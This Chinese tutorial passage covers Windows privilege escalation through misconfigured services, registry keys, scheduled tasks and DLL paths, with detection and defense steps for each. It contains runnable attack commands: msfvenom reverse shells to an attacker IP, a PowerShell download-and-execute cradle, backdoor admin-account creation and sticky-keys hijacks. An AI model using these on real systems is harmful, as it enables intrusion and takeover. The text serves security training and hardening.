目录
- 1. 导言:为什么不用 exp 也能提权
- 2. 八种配置提权路径全景图
- 3. 路径一:未加引号的服务路径
- 4. 路径二:可写的服务二进制文件路径
- 5. 路径三:弱服务权限配置
- 6. 路径四:AlwaysInstallElevated 注册表键
- 7. 路径五:注册表键值劫持
- 8. 路径六:计划任务滥用
- 9. 路径七:DLL 劫持
- 10. 路径八:令牌权限滥用
- 11. 八种提权路径对比表
- 12. 自动化检测工具
- 13. 自动化检测脚本
- 14. 实战案例:内网渗透提权全流程
- 15. 防御方案
- 16. 免责声明
1. 导言:为什么不用 exp 也能提权
在真实的内网渗透和红队评估中,最有效的提权方式往往不是利用最新的内核漏洞(0day/exp),而是利用运维人员在日常配置中遗留的"配置后门"。这些配置问题不是软件缺陷,而是人为的管理疏忽——它们广泛存在于企业环境中,原因有三:
第一,便利性优先。 运维人员为了快速部署服务,经常以 SYSTEM 权限运行服务,却忽略了服务路径、文件权限和注册表权限的安全加固。一个"能用就行"的心态留下了大量可被利用的配置缺陷。
第二,缺乏安全基线。 许多企业没有建立完善的 Windows 安全配置基线(Security Baseline),缺少对服务权限、注册表权限、计划任务权限的系统性审计。配置错误可以在系统中存在数年而不被发现。
第三,补丁管不了配置。 传统补丁管理只能修复软件漏洞,无法修复配置错误。即使系统安装了所有安全补丁,一个可写服务路径或一个 AlwaysInstallElevated 注册表键仍然可以让攻击者轻松提权。
本文将系统性地拆解 8 种最常见的配置类提权路径,每种路径都包含原理详解、检测方法、完整 PoC 和防御措施。
2. 八种配置提权路径全景图
┌─────────────────────────────────────────────────────────────────────────────┐
│ Windows 配置后门提权路径全景 (无 exp) │
│ │
│ ┌──────────────────┐ │
│ │ 低权限用户 shell │ │
│ │ (普通用户权限) │ │
│ └────────┬─────────┘ │
│ │ │
│ ┌───────────────────┼───────────────────┐ │
│ │ │ │ │
│ ┌────────▼────────┐ ┌────────▼────────┐ ┌────────▼────────┐ │
│ │ 服务配置类 (3种) │ │ 注册表类 (2种) │ │ 其他配置类 (3种) │ │
│ └────────┬────────┘ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │ │
│ ┌─────────┼─────────┐ ┌────┼────┐ ┌────┼─────────┐ │
│ │ │ │ │ │ │ │ │ │ │
│ ┌─▼──┐ ┌──▼──┐ ┌───▼─┐ ┌▼──┐ ┌▼───┐ ┌──▼─┐ ┌▼───┐ ┌──▼──┐ │
│ │路径1│ │路径2│ │路径3│ │路径4│ │路径5│ │路径6│ │路径7│ │路径8│ │
│ │未引│ │可写│ │弱服│ │MSI │ │IFEO│ │计划│ │DLL │ │令牌│ │
│ │号服│ │BIN │ │务权│ │提升│ │劫持│ │任务│ │劫持│ │权限│ │
│ │务路│ │PATH│ │限 │ │安装│ │ │ │滥用│ │ │ │滥用│ │
│ │径 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
│ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘ │
│ │ │ │ │ │ │ │ │ │
│ └────────┴────────┴──────┴───────┴───────┴───────┴───────┘ │
│ │ │
│ ┌────────▼─────────┐ │
│ │ SYSTEM 权限 shell │ │
│ │ (NT AUTH\SYSTEM) │ │
│ └──────────────────┘ │
│ │
│ 检测工具: PowerUp.ps1 | WinPEAS | accesschk | BeRoot | PrivescCheck │
└─────────────────────────────────────────────────────────────────────────────┘
3. 路径一:未加引号的服务路径
3.1 原理详解
Windows 的 CreateProcess 函数在解析可执行文件路径时,如果路径包含空格且未用双引号包裹,会按照从短到长的顺序依次尝试解析路径。这是 Windows 为了兼容旧版程序而保留的行为,但也成为了一个经典的提权向量。
例如,服务路径 C:\Program Files\My Service\service.exe(未加引号)会被 Windows 按以下顺序解析:
尝试1: C:\Program.exe ← 如果存在, 执行此文件!
尝试2: C:\Program Files\My.exe ← 如果存在, 执行此文件!
尝试3: C:\Program Files\My Service\service.exe ← 最终目标
解析逻辑: 遇到空格时, 将空格前的部分作为可执行文件名尝试加载
如果加载失败, 继续向后扩展直到完整路径
如果该服务以 SYSTEM 权限运行,且 C:\Program Files\ 目录对普通用户可写,攻击者可以在该目录放置一个名为 Program.exe 的恶意程序。当服务启动时,Windows 会先尝试执行 C:\Program.exe,从而以 SYSTEM 权限运行攻击者的代码。
3.2 检测方法
:: 方法1: 使用 sc qc 逐个检查服务路径
:: 查看服务的 BINARY_PATH_NAME 是否包含空格且未加引号
sc qc "服务名"
:: 示例输出:
:: BINARY_PATH_NAME : C:\Program Files\My Service\service.exe
:: ^ 注意: 路径未加引号且包含空格!
::
:: 正确配置应为:
:: BINARY_PATH_NAME : "C:\Program Files\My Service\service.exe"
:: 方法2: 批量检查所有服务的路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
:: 方法3: 使用 wmic 筛选未加引号且包含空格的路径
wmic service get name,pathname | findstr /i ".exe" | findstr /v "^\"" | findstr /i " "
:: 方法4: PowerShell 检测脚本
powershell -Command "Get-WmiObject win32_service | Select-Object Name, DisplayName, State, PathName | Where-Object { $_.PathName -ne $null -and $_.PathName -notmatch '^\"' -and $_.PathName -match ' ' } | Format-Table -AutoSize"
3.3 利用步骤
:: Step 1: 发现可利用的未加引号服务
sc qc "VulnerableService"
:: 输出: BINARY_PATH_NAME : C:\Program Files\My Service\service.exe
:: START_TYPE : 2 AUTO_START (自动启动)
:: Step 2: 检查路径中哪个目录可写
:: 使用 accesschk 检查目录权限
accesschk.exe -uwdqs "Users" "C:\"
accesschk.exe -uwdqs "Users" "C:\Program Files\"
accesschk.exe -uwdqs "Users" "C:\Program Files\My Service\"
:: 假设 C:\ 目录对 Users 组可写 (极端情况)
:: 或 C:\Program Files\ 目录可写
:: Step 3: 生成恶意可执行文件
:: 使用 msfvenom 生成反弹 shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o "C:\Program.exe"
:: 或手动编写恶意程序 (添加用户)
:: evil.c:
:: #include <stdlib.h>
:: int main() {
:: system("net user backdoor P@ssw0rd! /add");
:: system("net localgroup administrators backdoor /add");
:: return 0;
:: }
:: cl evil.c /o "C:\Program.exe"
:: Step 4: 监听反弹 shell (攻击机)
nc -lvnp 4444
:: Step 5: 重启服务, 触发未加引号路径解析
sc stop "VulnerableService"
sc start "VulnerableService"
:: 或等待服务自动重启/系统重启
:: Step 6: 获得 SYSTEM 权限的 shell
:: 在攻击机的 nc 监听端收到反弹 shell
whoami
:: 输出: nt authority\system
3.4 防御措施
:: 1. 修复服务路径: 为所有包含空格的服务路径添加双引号
sc config "VulnerableService" binPath= "\"C:\Program Files\My Service\service.exe\""
:: 2. 确保服务目录权限正确
icacls "C:\Program Files\My Service" /inheritance:r /grant:r "SYSTEM:(F)" "Administrators:(F)" "Users:(RX)"
:: 3. 定期审计所有服务路径
wmic service get name,pathname /format:csv > service_audit.csv
4. 路径二:可写的服务二进制文件路径
4.1 原理详解
即使服务路径正确加了引号,如果服务二进制文件(BINARY_PATH_NAME)所在的目录或文件本身对普通用户可写,攻击者可以直接替换服务可执行文件。当服务重启时(无论是手动重启还是因崩溃触发的自动恢复),恶意程序就会以服务配置的权限(通常是 SYSTEM)执行。
这种配置错误通常发生在以下场景:
- 第三方软件安装在非标准目录(如
C:\Apps\),且目录权限未加固 - 运维人员手动创建的服务,二进制文件放在了用户可写目录
- 开发/测试环境遗留的服务配置被带到生产环境
4.2 检测方法
:: 方法1: 使用 accesschk 批量检查服务目录权限
:: 检查所有自动启动服务的二进制文件所在目录
for /f "tokens=2 delims=:=" %%a in ('sc qc ^| findstr BINARY_PATH_NAME') do (
echo %%a
)
:: 方法2: accesschk 检查特定用户组对服务路径的写权限
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
:: 方法3: 检查服务二进制文件本身的ACL
sc qc "TargetService"
:: 获取 binPath 后:
icacls "C:\path\to\service.exe"
icacls "C:\path\to\" :: 检查目录权限
:: 方法4: PowerShell 批量检测
powershell -Command "
$services = Get-WmiObject win32_service | Where-Object { $_.PathName -ne $null }
foreach ($svc in $services) {
$path = $svc.PathName -replace '^\"', '' -replace '\".*', '' -replace ' .*', ''
$dir = Split-Path $path -Parent
if ($dir -and (Test-Path $dir)) {
$acl = Get-Acl $dir
foreach ($rule in $acl.Access) {
if ($rule.IdentityReference -match 'Users|Everyone' -and $rule.FileSystemRights -match 'Write|Modify|FullControl') {
Write-Host \"[!] 可写: $dir ($($svc.Name))\" -ForegroundColor Red
}
}
}
}
"
4.3 利用步骤
:: Step 1: 发现可写服务目录
sc qc "BackupService"
:: BINARY_PATH_NAME : "C:\Apps\backup\backup.exe"
:: START_TYPE : 2 AUTO_START
:: Step 2: 确认目录可写
accesschk.exe -uwdqs "Users" "C:\Apps\backup\"
:: 输出: RW Users
:: 表示 Users 组对 C:\Apps\backup\ 有读写权限
:: Step 3: 备份原始服务文件(可选, 用于后续恢复)
copy "C:\Apps\backup\backup.exe" "C:\Apps\backup\backup.exe.bak"
:: Step 4: 生成恶意替换程序
:: 反弹 shell:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4445 -f exe -o "C:\Apps\backup\backup.exe"
:: 或添加用户:
:: msfvenom -p windows/exec CMD='net user hacker P@ss /add && net localgroup administrators hacker /add' -f exe -o "C:\Apps\backup\backup.exe"
:: Step 5: 监听
nc -lvnp 4445
:: Step 6: 重启服务触发执行
sc stop "BackupService"
sc start "BackupService"
:: 如果服务配置了恢复策略(崩溃自动重启), 可以直接终止进程:
taskkill /f /im backup.exe
:: 服务管理器会自动重启服务 → 执行恶意程序
:: Step 7: 获得 SYSTEM shell
whoami
:: nt authority\system
4.4 防御措施
:: 1. 修复目录权限: 仅 SYSTEM 和 Administrators 可写
icacls "C:\Apps\backup" /inheritance:r /grant:r "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)RX"
:: 2. 配置服务恢复策略时不要设置自动重启(防止攻击者通过终止服务触发重启)
sc failure "BackupService" reset= 0 actions= //空操作
:: 3. 使用 Sysmon 监控服务二进制文件修改事件
:: Sysmon Event ID 1 (ProcessCreate) + Event ID 11 (FileCreate)
5. 路径三:弱服务权限配置
5.1 原理详解
Windows 服务的访问控制由 SDDL(Security Descriptor Definition Language)字符串定义。服务的安全描述符控制了谁可以查询、启动、停止或修改服务配置。如果普通用户对某个以高权限(SYSTEM)运行的服务拥有 SERVICE_CHANGE_CONFIG 权限,攻击者可以修改服务的 binPath 指向任意可执行文件,然后重启服务实现提权。
服务的安全描述符中关键的权限位包括:
服务权限位说明:
SC_MANAGER_CONNECT (0x0001) 连接服务管理器
SC_MANAGER_CREATE_SERVICE (0x0002) 创建服务
SC_MANAGER_ENUMERATE_SERVICE(0x0004) 枚举服务
SERVICE_QUERY_CONFIG (0x0001) 查询服务配置
SERVICE_CHANGE_CONFIG (0x0002) 修改服务配置 ← 关键提权权限!
SERVICE_QUERY_STATUS (0x0004) 查询服务状态
SERVICE_START (0x0010) 启动服务
SERVICE_STOP (0x0020) 停止服务
SERVICE_ALL_ACCESS (0xF01FF) 完全控制
5.2 检测方法
:: 方法1: 使用 sc sdshow 查看服务安全描述符
sc sdshow "TargetService"
:: 输出 SDDL 字符串, 例如:
:: D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
::
:: SDDL 解读:
:: A = Allow (允许)
:: 关键权限字母:
:: RP = SERVICE_START (启动)
:: WP = SERVICE_CHANGE_CONFIG (修改配置) ← 危险!
:: DT = SERVICE_PAUSE_CONTINUE
:: LO = SERVICE_QUERY_STATUS
:: CR = SERVICE_USER_DEFINED_CONTROL
:: CC = SERVICE_QUERY_CONFIG
:: LC = SERVICE_ENUMERATE_DEPENDENTS
:: SW = SERVICE_STOP
:: RC = READ_CONTROL
:: SD = DELETE
:: WD = WRITE_DAC
:: WO = WRITE_OWNER
::
:: 末尾的 SID 缩写:
:: SY = SYSTEM
:: BA = Administrators
:: IU = Interactive Users (交互式用户) ← 如果IU有WP权限则可利用
:: SU = Service Users
::
:: 如果 Interactive Users (IU) 或 Users 组拥有 WP 权限 → 可利用!
:: 方法2: 使用 accesschk 批量检查
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
:: 输出有 "w" (write) 权限的服务即为可利用目标
:: 方法3: 检查特定服务
accesschk.exe -ucqv "Authenticated Users" "TargetService"
:: 方法4: PowerShell 检查服务权限
powershell -Command "
Get-Service | ForEach-Object {
$sd = (Get-WmiObject Win32_Service -Filter \"Name='$($_.Name)'\").__PATH
# 使用 sc sdshow 获取 SDDL
$sddl = (sc sdshow $_.Name)[1]
if ($sddl -match 'WP.*;;IU|WP.*;;BU|WP.*;;WD') {
Write-Host \"[!] $($_.Name): 可能存在弱权限\" -ForegroundColor Red
}
}
"
5.3 利用步骤
:: Step 1: 确认对目标服务有 CHANGE_CONFIG 权限
sc sdshow "VulnSvc"
:: 确认 SDDL 中普通用户组有 WP 权限
:: Step 2: 修改服务 binPath 为提权命令
:: 方式A: 直接添加用户
sc config "VulnSvc" binPath= "cmd.exe /c net user hacker P@ssw0rd /add & net localgroup administrators hacker /add"
:: 方式B: 指向恶意 EXE
sc config "VulnSvc" binPath= "C:\Temp\evil.exe"
:: Step 3: 重启服务执行提权命令
sc stop "VulnSvc"
sc start "VulnSvc"
:: 如果是方式A(添加用户), 服务会启动失败但命令已执行:
:: "服务未启动" → 但 net user 命令已成功
:: Step 4: 验证提权
net user hacker
:: 确认用户已添加
:: Step 5: 使用新管理员账户登录
runas /user:hacker cmd.exe
:: 方式B(恶意EXE)的完整流程:
:: 生成恶意EXE (Meterpreter reverse shell)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4446 -f exe -o C:\Temp\evil.exe
:: 修改服务路径
sc config "VulnSvc" binPath= "C:\Temp\evil.exe"
:: 重启服务
sc stop "VulnSvc" && sc start "VulnSvc"
:: 在 Meterpreter handler 中获得 SYSTEM 会话
5.4 防御措施
:: 1. 修复服务权限: 移除普通用户的 CHANGE_CONFIG 权限
sc sdset "VulnSvc" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
:: 上述 SDDL: SYSTEM 和 Administrators 完全控制, 普通用户仅查询/启动权限
:: 2. 使用组策略统一管理服务权限
:: GPO路径: Computer Configuration > Policies > Windows Settings > Security Settings > System Services
:: 3. 定期审计服务权限
accesschk.exe -uwcqv "Authenticated Users" * > service_perms_audit.txt
6. 路径四:AlwaysInstallElevated 注册表键
6.1 原理详解
Windows Installer(MSI)支持一种"提升安装"模式。当注册表中 AlwaysInstallElevated 键值设为 1 时,任何 MSI 安装包都会以 SYSTEM 权限执行,而不需要用户具有管理员权限,也不会弹出 UAC 提示。
这个功能原本是为了方便企业部署软件而设计的,但如果在用户级别(HKCU)也启用了此设置,任何普通用户都可以通过 msiexec 安装任意 MSI 包并以 SYSTEM 权限执行其中的代码。
需要同时满足以下两个注册表键都设为 1:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1 (DWORD)
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1 (DWORD)
如果只有 HKLM 为 1 而 HKCU 为 0, MSI 不会以提升权限安装
两个键必须同时为 1 才能触发提权
6.2 检测方法
:: 检查 HKLM 键
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 如果输出: AlwaysInstallElevated REG_DWORD 0x1 → 已启用
:: 检查 HKCU 键
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 如果输出: AlwaysInstallElevated REG_DWORD 0x1 → 已启用
:: 两个都为 0x1 时, 可利用!
:: PowerShell 检测
powershell -Command "
\$hklm = (Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -ErrorAction SilentlyContinue).AlwaysInstallElevated
\$hkcu = (Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -ErrorAction SilentlyContinue).AlwaysInstallElevated
if (\$hklm -eq 1 -and \$hkcu -eq 1) {
Write-Host '[!] AlwaysInstallElevated 已启用! 可提权!' -ForegroundColor Red
} else {
Write-Host '[-] AlwaysInstallElevated 未启用或仅部分启用'
}
"
6.3 利用步骤
# Step 1: 在攻击机上生成恶意 MSI 包
# 方式A: 添加管理员用户
msfvenom -p windows/exec CMD='net user hacker P@ssw0rd /add & net localgroup administrators hacker /add' -f msi -o /tmp/evil.msi
# 方式B: 反弹 shell (Meterpreter)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4447 -f msi -o /tmp/evil.msi
# 方式C: 反弹 shell (原生)
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4447 -f msi > /tmp/evil.msi
# Step 2: 将 MSI 包传到目标机器
# 通过 SMB / HTTP / 已有 shell 上传
python3 -m http.server 80 # 攻击机
# 目标机:
certutil -urlcache -split -f "http://10.0.0.5/evil.msi" "C:\Temp\evil.msi"
# Step 3: 在目标机上以静默模式安装 MSI
msiexec /quiet /qn /i C:\Temp\evil.msi
# /quiet = 无 UI
# /qn = 无界面
# /i = 安装
# Step 4: 验证提权
# 如果使用方式A(添加用户):
net user hacker
runas /user:hacker cmd.exe
whoami # 应为 SYSTEM 或 administrator
# 如果使用反弹 shell:
# 在攻击机 nc/meterpreter 监听端收到 SYSTEM 权限的 shell
whoami
# nt authority\system
6.4 防御措施
:: 1. 禁用 AlwaysInstallElevated
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
:: 2. 通过组策略禁用
:: GPO路径: Computer Configuration > Administrative Templates > Windows Components >
:: Windows Installer > "Always install with elevated privileges" → Disabled
:: User Configuration > Administrative Templates > Windows Components >
:: Windows Installer > "Always install with elevated privileges" → Disabled
:: 3. 监控 msiexec 的静默安装
:: Sysmon Event ID 1: 监控 msiexec.exe 带 /quiet /qn 参数的执行
7. 路径五:注册表键值劫持
7.1 原理详解
7.1.1 Image File Execution Options (IFEO) Debugger 劫持
IFEO 是 Windows 的一个调试功能。当为目标程序设置 Debugger 键值时,Windows 在启动目标程序时会改为启动 Debugger 指定的程序,并将原程序路径作为参数传递。如果目标程序以高权限运行(如通过辅助功能 sethc.exe),攻击者可以将 Debugger 指向恶意程序。
IFEO 劫持原理:
正常流程:
用户按 Shift 5次 → sethc.exe (以 SYSTEM 运行, 登录屏幕前)
劫持后:
用户按 Shift 5次
→ Windows 查询 HKLM\...\Image File Execution Options\sethc.exe\Debugger
→ 发现 Debugger = "C:\evil.exe"
→ 执行: C:\evil.exe sethc.exe
→ evil.exe 以 SYSTEM 权限运行 (因为 sethc 在登录屏幕以 SYSTEM 运行)
7.1.2 粘滞键劫持
粘滞键(Sticky Keys,sethc.exe)是最常见的 IFEO 劫持目标,因为它可以在登录屏幕(未认证状态下)触发,且以 SYSTEM 权限运行。经典手法是将 sethc.exe 替换为 cmd.exe(需要文件系统写权限),或通过 IFEO Debugger 重定向。
7.2 检测方法
:: 方法1: 检查 IFEO 中的 Debugger 键值
:: 列出所有 IFEO 条目
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /v Debugger
:: 检查特定目标 (sethc, utilman, osk, magnify, narrator, DisplaySwitch)
for %target in (sethc.exe utilman.exe osk.exe Magnify.exe Narrator.exe DisplaySwitch.exe) do (
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%target" /v Debugger 2>nul
)
:: 方法2: 检查 sethc.exe 是否被替换
:: 原始 sethc.exe 大小约 53KB, 位于 C:\Windows\System32\
dir C:\Windows\System32\sethc.exe
fc /b C:\Windows\System32\sethc.exe C:\Windows\System32\cmd.exe
:: 如果 sethc.exe 和 cmd.exe 二进制相同 → 已被替换
:: 方法3: PowerShell 批量检测 IFEO
powershell -Command "
\$ifeoBase = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
Get-ChildItem \$ifeoBase | ForEach-Object {
\$debugger = (Get-ItemProperty \$_.PSPath -ErrorAction SilentlyContinue).Debugger
if (\$debugger) {
Write-Host \"[!] IFEO 劫持: \$(\$_.PSChildName) → \$debugger\" -ForegroundColor Red
}
}
"
:: 方法4: 检查辅助功能可执行文件的完整性
powershell -Command "
\$accessibilityTools = @('sethc.exe','utilman.exe','osk.exe','Magnify.exe','Narrator.exe','DisplaySwitch.exe')
foreach (\$tool in \$accessibilityTools) {
\$path = \"C:\Windows\System32\\\$tool\"
if (Test-Path \$path) {
\$hash = (Get-FileHash \$path -Algorithm SHA256).Hash
\$expectedSize = (Get-Item \$path).Length
Write-Host \"\$tool : Size=\$expectedSize Hash=\$hash\"
}
}
"
7.3 利用步骤
:: === 方式A: IFEO Debugger 劫持 (需要管理员权限设置, 但一旦设置即可在登录屏幕利用) ===
:: 前提: 攻击者已有一个管理员会话(可能通过其他提权路径获得),
:: 设置 IFEO 作为持久化后门
:: Step 1: 设置 IFEO Debugger
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
:: Step 2: 锁定屏幕
rundll32.exe user32.dll,LockWorkStation
:: Step 3: 在登录屏幕按 Shift 5次
:: → 弹出以 SYSTEM 权限运行的 cmd.exe
:: → 在登录屏幕前获得 SYSTEM shell
:: === 方式B: 粘滞键替换 (需要 SYSTEM 或 TrustedInstaller 权限修改文件) ===
:: Step 1: 备份原始 sethc.exe
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
:: Step 2: 用 cmd.exe 替换 sethc.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /Y
:: Step 3: 锁屏后按 Shift 5次 → SYSTEM cmd
:: === 方式C: 利用其他辅助功能 ===
:: 放大镜劫持:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v Debugger /t REG_SZ /d "C:\evil.exe" /f
:: 屏幕键盘劫持:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "C:\evil.exe" /f
:: 这些辅助功能都可在登录屏幕通过"轻松使用"按钮触发, 均以 SYSTEM 运行
7.4 防御措施
:: 1. 清除所有可疑的 IFEO Debugger 键
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /f
:: 对其他辅助功能同理
:: 2. 恢复被替换的辅助功能文件
copy C:\Windows\System32\sethc.exe.bak C:\Windows\System32\sethc.exe /Y
:: 或从 Windows 安装介质恢复:
sfc /scannow
:: 3. 通过组策略限制 IFEO 修改
:: GPO: Computer Configuration > Administrative Templates > System >
:: "Prevent execution of custom debugger for specified programs"
:: 4. Sysmon 监控注册表修改
:: Sysmon Event ID 13 (RegistryValueSet):
:: 监控对 Image File Execution Options 路径的写入
8. 路径六:计划任务滥用
8.1 原理详解
Windows 计划任务(Scheduled Tasks)可以配置为以 SYSTEM 或其他高权限账户运行。如果计划任务引用的可执行文件路径对普通用户可写,攻击者可以替换该可执行文件,等待计划任务按计划触发时以高权限执行恶意代码。
计划任务的利用与可写服务路径类似,但有两个关键区别:
- 计划任务可能不会立即执行,攻击者需要等待触发时间,或找到手动触发的方式
- 计划任务的触发条件更灵活(时间触发、登录触发、空闲触发等),覆盖面更广
8.2 检测方法
:: 方法1: 列出所有计划任务及其执行账户和路径
schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"
:: 方法2: 导出详细计划任务信息到文件
schtasks /query /fo LIST /v > all_tasks.txt
:: 方法3: PowerShell 检测高权限运行且路径可写的计划任务
powershell -Command "
Get-ScheduledTask | ForEach-Object {
\$task = \$_
\$info = Get-ScheduledTaskInfo \$task.TaskName -TaskPath \$task.TaskPath
foreach (\$action in \$task.Actions) {
if (\$action.Execute) {
\$exePath = \$action.Execute
\$dir = Split-Path \$exePath -Parent
if (\$dir -and (Test-Path \$dir)) {
\$acl = Get-Acl \$dir -ErrorAction SilentlyContinue
if (\$acl) {
foreach (\$rule in \$acl.Access) {
if (\$rule.IdentityReference -match 'Users|Everyone' -and \$rule.FileSystemRights -match 'Write|Modify') {
\$principal = \$task.Principal.UserId
if (\$task.Principal.RunLevel -eq 'Highest' -or \$principal -match 'SYSTEM') {
Write-Host \"[!] 可写计划任务: \$(\$task.TaskName) | 路径: \$exePath | 运行身份: \$principal\" -ForegroundColor Red
}
}
}
}
}
}
}
}
"
:: 方法4: 检查特定计划任务的详细信息
schtasks /query /tn "\TaskName" /fo LIST /v
8.3 利用步骤
:: Step 1: 发现高权限可写计划任务
schtasks /query /fo LIST /v | findstr /i "TaskName\|Run As User\|Task To Run"
:: 找到:
:: TaskName: \CorpBackup
:: Run As User: NT AUTHORITY\SYSTEM
:: Task To Run: C:\Scripts\backup.bat
:: Step 2: 检查可执行文件路径是否可写
accesschk.exe -uwdqs "Users" "C:\Scripts\"
:: 或
icacls "C:\Scripts\backup.bat"
:: 确认 Users 组有写权限
:: Step 3: 替换可执行文件
:: 备份原始文件
copy "C:\Scripts\backup.bat" "C:\Scripts\backup.bat.bak"
:: 生成恶意脚本/程序
:: 反弹 shell 脚本:
echo @echo off > C:\Scripts\backup.bat
echo powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')" >> C:\Scripts\backup.bat
:: 或直接生成恶意 EXE 替换:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4448 -f exe -o /tmp/backup.exe
:: 上传到 C:\Scripts\backup.exe (如果任务指向 .exe)
:: Step 4: 手动触发计划任务(不等定时触发)
schtasks /run /tn "\CorpBackup"
:: 或等待计划任务的下次触发时间
:: Step 5: 在监听端接收 SYSTEM shell
nc -lvnp 4448
whoami
:: nt authority\system
8.4 防御措施
:: 1. 修复计划任务可执行文件路径权限
icacls "C:\Scripts" /inheritance:r /grant:r "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)RX"
:: 2. 避免在计划任务中使用可写目录
:: 将脚本/程序放在 C:\Windows\System32\ 或其他受保护目录
:: 3. 使用组策略审计计划任务
:: GPO: Computer Configuration > Windows Settings > Security Settings >
:: Advanced Audit Policy > Object Access > Audit File System
:: 4. 定期审计计划任务列表
schtasks /query /fo CSV /v > task_audit_$(date /t).csv
9. 路径七:DLL 劫持
9.1 原理详解
当 Windows 进程加载 DLL 时,按照固定的搜索顺序查找:
DLL 搜索顺序 (默认 SafeDllSearchMode 启用时):
1. 应用程序所在目录
2. System32 目录 (C:\Windows\System32\)
3. 16位系统目录 (C:\Windows\System\)
4. Windows 目录 (C:\Windows\)
5. 当前工作目录
6. PATH 环境变量中的目录
如果高权限进程(以SYSTEM运行的服务/计划任务)在其所在目录
加载一个不存在的DLL, 攻击者可以在该目录放置同名恶意DLL
如果以 SYSTEM 权限运行的进程尝试加载一个不存在于系统目录的 DLL,且进程所在目录对普通用户可写,攻击者可以在该目录放置恶意 DLL,进程加载时就会执行恶意代码。
9.2 检测方法
:: 方法1: 使用 Process Monitor (ProcMon) 监控 DLL 加载
:: 设置过滤器:
:: Operation = CreateFile
:: Result = NAME NOT FOUND
:: Path ends with .dll
:: Process Name = <目标高权限进程>
:: 方法2: 检查高权限进程的可执行文件目录权限
:: 先找到以 SYSTEM 运行的进程
tasklist /v /fi "USERNAME eq NT AUTHORITY\SYSTEM"
:: 检查进程所在目录权限
accesschk.exe -uwdqs "Users" "C:\Program Files\TargetApp\"
:: 方法3: 使用 PowerShell 自动化 DLL 劫持检测
powershell -Command "
# 需要安装 Sysinternals ProcDump 或使用 .NET 反射
# 简化版: 检查 SYSTEM 进程目录权限
\$systemProcs = Get-WmiObject Win32_Process | Where-Object {
\$_.GetOwner().User -eq 'SYSTEM' -or \$_.GetOwner().User -eq \$null
}
foreach (\$proc in \$systemProcs) {
\$exePath = \$proc.ExecutablePath
if (\$exePath) {
\$dir = Split-Path \$exePath -Parent
if (\$dir -and (Test-Path \$dir)) {
\$acl = Get-Acl \$dir
foreach (\$rule in \$acl.Access) {
if (\$rule.IdentityReference -match 'Users|Everyone' -and \$rule.FileSystemRights -match 'Write') {
Write-Host \"[!] 可写DLL目录: \$dir (进程: \$(\$proc.Name))\" -ForegroundColor Red
}
}
}
}
}
"
9.3 利用步骤
# Step 1: 使用 ProcMon 识别目标进程加载的不存在的 DLL
# 过滤条件:
# Process Name = targetsvc.exe
# Operation = CreateFile
# Result = NAME NOT FOUND
# Path contains .dll
#
# 记录下所有 NAME NOT FOUND 的 DLL 名称, 例如:
# C:\Program Files\TargetApp\version.dll ← 不存在!
# C:\Program Files\TargetApp\msvcr120.dll ← 不存在!
# Step 2: 确认目标进程以 SYSTEM 权限运行
sc qc "TargetApp"
# 或
tasklist /v /fi "IMAGENAME eq targetsvc.exe"
# Step 3: 确认进程目录可写
